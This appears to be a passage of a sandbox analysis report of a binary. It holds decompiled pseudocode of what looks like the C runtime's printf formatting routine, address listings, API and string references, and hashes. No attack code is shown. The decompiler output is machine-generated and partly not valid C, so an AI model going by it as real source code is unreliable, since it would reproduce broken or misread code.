																				E004356D0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x4355ec; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004355B0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428310(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xf9b80f80
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xfe6faf80
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE00(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xfe6d6f80
																							E00424670(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428310(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428350(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428310(__ebp + 0x14);
																			if(E00433EC0() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E330();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																				__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADD0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				goto L108;
																			} else {
																				L94:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			L144:
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00434f39
0x00434f39
0x00434f39
0x00434f39
0x00434f39
0x00434f39
0x00434f39
0x00434f3f
0x00434f42
0x00000000
0x00434fba
0x00000000
0x00434fba
0x00000000
0x00434fba
0x00434fba
0x00434fc2
0x00434fe4
0x00434fea
0x0043500f
0x00435056
0x00435059
0x0043507a
0x0043507f
0x00435084
0x0043508a
0x0043505b
0x0043505f
0x00435064
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435017
0x00435039
0x0043503e
0x00435044
0x00435045
0x0043504b
0x00435019
0x0043501d
0x00435022
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434ff0
0x00434ff5
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc8
0x00434fcd
0x00434fd0
0x00434fd6
0x00434fd6
0x00435096
0x004350d8
0x004350de
0x004350ea
0x00000000
0x00435098
0x00435098
0x00435098
0x0043509f
0x00000000
0x004350ac
0x004350ac
0x004350ba
0x004350bf
0x004350c5
0x004350d3
0x004350f0
0x004350f8
0x0043511a
0x0043511a
0x00435124
0x00435135
0x0043513f
0x00435141
0x00435141
0x00435126
0x00435126
0x00435126
0x00435154
0x00435156
0x00435156
0x00435160
0x00435163
0x00435163
0x00435169
0x0043516c
0x00435171
0x00000000
0x00000000
0x00435181
0x00435184
0x0043518e
0x0043519d
0x004351a6
0x004351bc
0x004351c2
0x004351cf
0x004351dd
0x004351dd
0x004351ec
0x004351f4
0x004351f4
0x004351fc
0x00435202
0x0043520b
0x00435217
0x00435230
0x00435236
0x0043523f
0x0043523f
0x00000000
0x00435242
0x00000000
0x00435242
0x00000000
0x00435242
0x00000000
0x00435242
0x00000000
0x00435242
0x00000000
0x00435242
0x00000000
0x00435242
0x00435242
0x00435242
0x00435246
0x0043542d
0x00435431
0x00435439
0x0043543e
0x00435441
0x00435441
0x00435448
0x00435448
0x0043451f
0x00434525
0x00434532
0x00434537
0x00000000
0x0043454a
0x00434554
0x0043457b
0x00434562
0x00434573
0x00434573
0x00434554
0x00434585
0x0043458b
0x00434597
0x0043459a
0x004345a8
0x004345ab
0x004345b8
0x0043465d
0x00434663
0x00434670
0x00000000
0x00000000
0x00434676
0x0043467c
0x00000000
0x00434683
0x00434683
0x0043469b
0x004346a0
0x004346a5
0x0043475f
0x00434772
0x00434777
0x00000000
0x004346ab
0x004346be
0x004346c3
0x004346c9
0x004346cb
0x004346d4
0x004346d7
0x004346e3
0x004346e7
0x004346ed
0x004346ef
0x004346f4
0x004346f6
0x004346fb
0x00434700
0x00434702
0x00434707
0x0043470d
0x0043470f
0x0043470f
0x0043470d
0x00434710
0x00434717
0x00000000
0x00434719
0x0043471e
0x0043473a
0x00434742
0x0043474f
0x00434754
0x00000000
0x00434754
0x00434717
0x00000000
0x0043477f
0x0043477f
0x00434786
0x00434789
0x0043478c
0x0043478f
0x00434792
0x00434795
0x00434798
0x0043479f
0x004347a6
0x00000000
0x00000000
0x004347b2
0x004347b2
0x004347b9
0x004347c5
0x004347c8
0x004347d5
0x00000000
0x00000000
0x004347d7
0x004347d7
0x004347dd
0x004347dd
0x004347e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434827
0x00434827
0x00434831
0x0043485b
0x0043485e
0x00434861
0x00434868
0x00434868
0x0043486c
0x00434833
0x00434833
0x0043483f
0x00434846
0x00434848
0x0043484b
0x0043484e
0x00434854
0x00434856
0x00434856
0x00434859
0x00000000
0x00000000
0x00434874
0x00434874
0x00000000
0x00000000
0x00434880
0x00434880
0x0043488a
0x004348ad
0x004348b7
0x004348b7
0x004348bb
0x0043488c
0x0043488c
0x00434898
0x0043489f
0x004348a1
0x004348a1
0x004348a8
0x00000000
0x00000000
0x004348c3
0x004348c3
0x004348ca
0x004348d6
0x004348d9
0x004348e6
0x004349f9
0x00000000
0x004349f9
0x004348ec
0x004348ec
0x004348f2
0x004348f2
0x004348f9
0x00000000
0x0043492f
0x0043492f
0x00434932
0x00434938
0x00434960
0x00434960
0x00434963
0x00434969
0x0043498e
0x0043498e
0x00434991
0x00434997
0x004349d0
0x004349e1
0x00000000
0x004349e1
0x00434999
0x00434999
0x0043499c
0x004349a2
0x00000000
0x00000000
0x004349a4
0x004349a4
0x004349a7
0x004349ad
0x00000000
0x00000000
0x004349af
0x004349af
0x004349b2
0x004349b8
0x00000000
0x00000000
0x004349ba
0x004349ba
0x004349bd
0x004349c3
0x00000000
0x00000000
0x004349c5
0x004349c5
0x004349c8
0x004349ce
0x004349d2
0x004349d2
0x00000000
0x004349d2
0x00000000
0x004349ce
0x0043496b
0x0043496b
0x0043496e
0x00434975
0x00000000
0x00000000
0x00434977
0x0043497a
0x0043497d
0x00434980
0x00434983
0x00434989
0x00000000
0x00434989
0x0043493a
0x0043493a
0x0043493d
0x00434944
0x00000000
0x00000000
0x00434946
0x00434949
0x0043494c
0x0043494f
0x00434952
0x00434958
0x00000000
0x00000000
0x004349e3
0x004349e6
0x004349e9
0x00000000
0x00000000
0x00434900
0x00434900
0x00434903
0x00434909
0x00434921
0x00434924
0x00434927
0x0043490b
0x0043490e
0x00434911
0x00434917
0x0043491c
0x0043491c
0x00000000
0x00000000
0x004349ee
0x004349f1
0x004349f6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434801
0x00434804
0x00434807
0x00000000
0x00000000
0x0043480c
0x0043480f
0x00434814
0x00000000
0x00000000
0x004347f6
0x004347f6
0x004347f9
0x004347fc
0x00000000
0x00000000
0x004347eb
0x004347ee
0x004347f1
0x00000000
0x00000000
0x00434819
0x00434819
0x0043481c
0x0043481f
0x00000000
0x00000000
0x00434822
0x00000000
0x00000000
0x004345be
0x004345c0
0x004345ce
0x004345c2
0x004345c2
0x004345c2
0x004345d8
0x004345de
0x004345eb
0x004345ed
0x004345f2
0x004345f4
0x004345f9
0x004345fe
0x00434600
0x00434605
0x0043460b
0x0043460d
0x0043460d
0x0043460b
0x0043460e
0x00434615
0x00000000
0x00434617
0x0043461c
0x00434638
0x00434640
0x0043464d
0x00434652
0x00435511
0x0043551e
0x0043551e
0x00434615
0x004345b8
0x0043544d
0x00435454
0x0043546b
0x0043545f
0x0043545f
0x0043545f
0x00435475
0x0043547b
0x00435488
0x0043548a
0x0043548f
0x00435491
0x00435496
0x0043549b
0x0043549d
0x004354a2
0x004354a8
0x004354aa
0x004354aa
0x004354a8
0x004354b2
0x004354fd
0x00435506
0x0043550b
0x004354b4
0x004354b9
0x004354d5
0x004354dd
0x004354ea
0x004354ef
0x004354ef
0x00000000
0x004354b2
0x0043524c
0x00435252
0x0043525c
0x00435271
0x00435286
0x00435288
0x0043528c
0x0043528c
0x00435273
0x00435273
0x00435277
0x00435277
0x0043525e
0x0043525e
0x00435262
0x00435262
0x0043525c
0x0043529c
0x004352a8
0x004352be
0x004352c3
0x004352c3
0x004352d9
0x004352de
0x004352e7
0x00435305
0x0043530a
0x0043530a
0x00435311
0x004353e5
0x004353f8
0x004353fd
0x00000000
0x00435321
0x00435321
0x00435321
0x0043532e
0x00435337
0x0043533d
0x0043533d
0x0043534c
0x00435354
0x00000000
0x00000000
0x0043535a
0x00435363
0x00435382
0x00435387
0x0043538a
0x00435399
0x004353a6
0x004353b1
0x004353b1
0x00000000
0x004353bd
0x004353bd
0x004353d6
0x004353db
0x00000000
0x004353db
0x004353a6
0x004353e3
0x00435400
0x00435407
0x00435425
0x0043542a
0x0043542a
0x00000000
0x00435407
0x004349fe
0x004349fe
0x00434a05
0x00434a0b
0x00434a11
0x00434a14
0x00434a1a
0x00434a2d
0x00434a2d
0x00434a34
0x00000000
0x00434d8e
0x00434d8e
0x00434d95
0x00434d9c
0x00434d9f
0x00000000
0x00000000
0x00434a3b
0x00434a3e
0x00434a44
0x00434a49
0x00434a4e
0x00434a4e
0x00000000
0x00000000
0x00434b7b
0x00434b7e
0x00434b83
0x00434b88
0x00434b8e
0x00434b8e
0x00000000
0x00000000
0x00434f5b
0x00434f5b
0x00000000
0x00000000
0x00434ae5
0x00434ae5
0x00434af1
0x00434afe
0x00434b0c
0x00434b0c
0x00434b12
0x00434b15
0x00434b21
0x00434b76
0x00000000
0x00434b76
0x00434b00
0x00434b00
0x00434b0a
0x00434b26
0x00434b29
0x00434b2f
0x00434b57
0x00434b5e
0x00434b64
0x00434b67
0x00434b6a
0x00434b70
0x00434b73
0x00434b31
0x00434b31
0x00434b37
0x00434b3a
0x00434b3d
0x00434b43
0x00434b46
0x00434b49
0x00434b4b
0x00434b4e
0x00434b4e
0x00000000
0x00434b2f
0x00000000
0x00000000
0x00434da5
0x00434da8
0x00434dab
0x00434dae
0x00434db4
0x00434db7
0x00434dc2
0x00434dcd
0x00434dd1
0x00434de8
0x00434def
0x00434df1
0x00434df1
0x00434df8
0x00434dff
0x00434e10
0x00434e1f
0x00434e26
0x00434e3c
0x00434e28
0x00434e28
0x00434e2b
0x00434e31
0x00434e37
0x00434e37
0x00434e26
0x00434e46
0x00434e49
0x00434e4c
0x00434e4f
0x00434e52
0x00434e55
0x00434e5b
0x00434e61
0x00434e69
0x00434e6a
0x00434e6d
0x00434e6e
0x00434e71
0x00434e72
0x00434e79
0x00434e7a
0x00434e7d
0x00434e7e
0x00434e81
0x00434e82
0x00434e88
0x00434e89
0x00434e97
0x00434e99
0x00434e9f
0x00434ea5
0x00434ead
0x00434eb5
0x00434eb6
0x00434eb9
0x00434eba
0x00434ec8
0x00434eca
0x00434eca
0x00434ecd
0x00434ed7
0x00434edc
0x00434ee2
0x00434ee4
0x00434eec
0x00434eed
0x00434ef0
0x00434ef1
0x00434f00
0x00434f02
0x00434f02
0x00434ee2
0x00434f05
0x00434f08
0x00434f0e
0x00434f13
0x00434f19
0x00434f1f
0x00434f22
0x00434f22
0x00434f25
0x00434f31
0x00000000
0x00434f31
0x00434dd3
0x00434dd3
0x00434ddd
0x00000000
0x00000000
0x00434ddf
0x00434ddf
0x00000000
0x00434ddf
0x00434dc4
0x00434dc4
0x00000000
0x00000000
0x00434a51
0x00434a54
0x00434a5a
0x00434ab5
0x00434abd
0x00434ac4
0x00434aca
0x00434ad0
0x00434a5c
0x00434a5c
0x00434a66
0x00434a6a
0x00434a72
0x00434a79
0x00434a86
0x00434a8d
0x00434a99
0x00434aa6
0x00434aa8
0x00434aa8
0x00434aaf
0x00434ad7
0x00434add
0x00000000
0x00000000
0x00000000
0x00000000
0x00434c97
0x00434c97
0x00434ca3
0x00434cb0
0x00434d5a
0x00434d5d
0x00434d60
0x00434d74
0x00434d7a
0x00434d80
0x00434d62
0x00434d62
0x00434d6f
0x00434d6f
0x00434d82
0x00000000
0x00434d82
0x00434cb6
0x00434cb6
0x00434cb8
0x00434cc6
0x00434cba
0x00434cba
0x00434cba
0x00434cd0
0x00434cd6
0x00434ce3
0x00434ce5
0x00434cea
0x00434cec
0x00434cf1
0x00434cf6
0x00434cf8
0x00434cfd
0x00434d03
0x00434d05
0x00434d05
0x00434d03
0x00434d0d
0x00434d55
0x00000000
0x00434d0f
0x00434d0f
0x00434d14
0x00434d30
0x00434d38
0x00434d42
0x00434d45
0x00434d4a
0x00000000
0x00434d4a
0x00000000
0x00434f9c
0x00434f9c
0x00434fa6
0x00434fac
0x00434fb1
0x00434fb7
0x00434fb7
0x00000000
0x00000000
0x00434f54
0x00434f54
0x00000000
0x00000000
0x00434b91
0x00434b95
0x00434ba3
0x00434ba6
0x00434b97
0x00434b97
0x00434b97
0x00434bac
0x00434bb2
0x00434bb8
0x00434bc4
0x00434bca
0x00434bd0
0x00434c37
0x00434c3b
0x00434c3d
0x00434c43
0x00434c43
0x00434c46
0x00434c49
0x00434c4f
0x00434c4f
0x00434c4f
0x00434c5b
0x00434c5e
0x00434c66
0x00000000
0x00000000
0x00434c68
0x00434c68
0x00434c6e
0x00434c73
0x00000000
0x00000000
0x00434c75
0x00434c7b
0x00434c7e
0x00434c7e
0x00434c86
0x00434c8c
0x00434c8f
0x00000000
0x00434bd2
0x00434bd2
0x00434bd6
0x00434bd8
0x00434bdd
0x00434bdd
0x00434be0
0x00434be7
0x00434bea
0x00434bf0
0x00434bf0
0x00434bf0
0x00434bfc
0x00434bff
0x00434c07
0x00000000
0x00000000
0x00434c09
0x00434c09
0x00434c0f
0x00434c14
0x00000000
0x00000000
0x00434c16
0x00434c1c
0x00434c1f
0x00434c1f
0x00434c27
0x00434c2d
0x00434c30
0x00434c32
0x00434c92
0x00000000
0x00434c92
0x00000000
0x00434f4b
0x00434f4b
0x00000000
0x00000000
0x00434f67
0x00434f67
0x00434f71
0x00434f71
0x00434f7b
0x00434f81
0x00434f83
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a34
0x00435242
0x00435242
0x00435242
0x00435242
0x00435242
0x00435242
0x00435242
0x0043509f
0x00435096
0x00434fba
0x00434fba
0x00434fba

APIs

_get_int64_arg.LIBCMTD ref: 00434FC8
_get_int64_arg.LIBCMTD ref: 00434FF0
__aullrem.LIBCMT ref: 00435195
__aulldiv.LIBCMT ref: 004351B7
_write_multi_char.LIBCMTD ref: 004352BE
_write_string.LIBCMTD ref: 004352D9
_write_multi_char.LIBCMTD ref: 00435305
_wctomb_s.LIBCMTD ref: 00435382

Strings

9, xrefs: 004351C8
-, xrefs: 0043525E
_output_s_l, xrefs: 0043462E
("Incorrect format specifier", 0), xrefs: 004345ED, 00434633
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004345F9, 00434629

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 98f2fe3707f84ec47c1ce3e1b8abe1245f1b58acacccaf61aae08049296e0555
Instruction ID: c2f61cd11d4acb1c63704bc8655dae4dce32d0576d216f7008f2691dfb10f7f6
Opcode Fuzzy Hash: 98f2fe3707f84ec47c1ce3e1b8abe1245f1b58acacccaf61aae08049296e0555
Instruction Fuzzy Hash: 38F149B1D056299BDB24CF54CC99BEEB7B1BB48304F1091DAE409A7281D738AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C34B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C34B(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
